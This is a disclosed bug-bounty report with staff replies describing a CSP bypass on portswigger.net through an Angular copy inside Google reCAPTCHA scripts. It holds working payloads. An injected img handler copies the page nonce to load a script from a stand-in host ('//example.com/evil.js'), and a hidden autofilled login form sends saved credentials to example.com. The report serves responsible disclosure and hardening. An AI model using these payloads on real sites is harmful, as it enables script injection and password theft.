CSP bypass on PortSwigger.net using Google script resources
Summary by joaxcar
Read a full writeup of finding and reporting the bug here:
Timeline
submitted a report to PortSwigger Web Security.
December 9, 2023, 5:47pm UTCSummary
Hi team!
I read this blogpost again after playing with an Angular CSP bypass in this Twitter thread https://twitter.com/sudhanshur705/status/1732760081094091117
I found a way to load arbitrary scripts (escaping the restrictions of Angular) if the page uses nonce-based CSP.
As show in the Twitter thread https://www.google.com/recaptcha/about/js/main.min.js contains Angular, and your CSP allows the complete
https://www.google.com/recaptcha/
URLFirst of all this allows for simple JS execution, such as
Code 152 BytesUnwrap lines Copy Download
1<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
2<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
this will pop an alert.
This allows for some JS execution, but eval and Function escalations from Angular will be blocked by the lack of
unsafe-inline
. I found that this can be bypassed when a site is using nonce
based CSP like thisCode 212 BytesUnwrap lines Copy Download
1<img src=x ng-on-error='
2w=$event.target.ownerDocument;
3a=w.defaultView.top.document.querySelector("[nonce]");
4b=w.createElement("script");
5b.src="//example.com/evil.js";
6b.nonce=a.nonce;
7w.body.appendChild(b)
8'>
POC
- Go to https://portswigger.net/
- Open devtools and paste and execute this (replace
//joaxcar.com/hack.js
if you want)
Code 446 BytesUnwrap lines Copy Download
1document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope>
2<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
3<img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector("[nonce]");b=w.createElement("script");b.src="//joaxcar.com/hack.js";b.nonce=a.nonce;w.body.appendChild(b)'>
4</div>
5">`
- See the popup, look at network tools and see that the script is loaded from
Impact
Just as in the blog, this is more of an in-depth defense. You need an HTML injection to pull this off. But as you asked us to send bypasses in
if you find something we missed, please report it to PortSwigger's bug-bounty program I do, however, understand if it is out of scope for rewards.
Have a nice one!
Johan
Impact
CSP bypass using Angular JS
posted a comment.
December 9, 2023, 6:14pm UTCJust adding a note here, this bypass takes advantage of the
script-src
whitelist and nonce
. If you would strictly use nonce
you can add strict-dynamic
in the script-src
. This would disable the whitelist in browsers that support CSP v3 and block injecting the google domain in a script tag posted a comment.
December 9, 2023, 7:51pm UTCThe same bypass exists on
Code 54 BytesUnwrap lines Copy Download
1https://www.gstatic.com/recaptcha/about/js/main.min.js
Which is also whitelisted on portswigger.net
PortSwigger Web Security staff
posted a comment. Thanks for the report! I've confirmed this works with both script resources. I'll talk to our team to get this fixed.
PortSwigger Web Security staff
changed the report title from CSP bypass using https://www.google.com/recaptcha/about/js/main.min.js that includes Angular to CSP bypass on PortSwigger.net using Google script resources. PortSwigger Web Security staff
updated the severity to medium. PortSwigger Web Security staff
changed the status to Triaged. PortSwigger Web Security staff
posted a comment. Hey @joaxcar we've deployed a fix to production. It turns out we had a bad user agent detection which was detecting Chrome as Safari. This then meant strict-dynamic was not in the CSP when on Chrome. We've fixed this by always using strict-dynamic (now that Safari supports it) and we've removed the allow listed resource to Google which is now protected by nonce. Please let us know if you can find a bypass. Thanks.
posted a comment.
December 20, 2023, 12:39pm UTCHi @garethheyes, it looks like it's working now. Also, thanks for the additional information. Interesting with the user agent.
As for a CSP, I do think it looks good. The only part that I see missing that I usually target if I can not escalate to XSS is the
form-action
CSP directive. A lot of pages forget about this one as it's not mentioned as a risk by https://csp-evaluator.withgoogle.com/. But as form-action
does not fall back to default-src,
forgetting to set it will allow forms to connect anywhere.This can be abused by adding a login form that will autofill and potentially leak username and password. On Portswigger, this is particularly bad as you don't offer 2FA (i might have just missed it)
Test this like so:
- In Chrome, either use any form of password manager or go to chrome://password-manager/passwords and add a saved username and password for portswigger.net
- Go to https://portswigger.net
- Open devtools and run this
Code 173 BytesUnwrap lines Copy Download
1document.getElementsByTagName("div")[0].innerHTML=`<form action="//example.com"><input hidden name=user><input hidden type=password name=password><input type=submit></form>`
- Click the submit button (notice that the login fields are hidden; browsers allow this for some reason...)
- Your username and password will get sent to example.com
It's not as bad as an XSS bypass to CSP, but it could be a good thing to add if feasible.
Hope you all have a great Christmas and New Year!
Johan
PortSwigger Web Security staff
posted a comment. @joaxcar Great point! I've used this myself to exploit Mastadon. https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp. I'll see if we can harden the CSP a little more.
rewarded joaxcar with a $1,000 bounty and a $500 bonus.
January 3, 2024, 11:26am UTCThanks for the excellent report! We've added a bonus for the form-action vector.
posted a comment.
January 17, 2024, 9:11am UTCThanks for the bounty here @garethheyes and @albinowax!
This is the first time I have reported CSP bypass on its own without an existing HTML injection. I don't expect this to be accepted in most programs, but I thought that it might be interesting enough for you as it's a subject that seems close to Gareth's heart.
Also, a big thanks for what you do for the community; Portswigger and you guys working there have taught me so much!
Would you mind disclosing this one when you are ready to close it off?
/Johan
PortSwigger Web Security staff
posted a comment. @joaxcar This was a quality report and helped make our CSP stronger. Just gutted I missed it :). We're happy to disclose once the fix is deployed.
PortSwigger Web Security staff
closed the report and changed the status to Resolved. We've got the second part of the fix in place now. Thanks again for the report! I'll disclose it momentarily.
PortSwigger Web Security staff
requested to disclose this report. agreed to disclose this report.
February 18, 2024, 10:10pm UTC This report has been disclosed.
February 18, 2024, 10:10pm UTC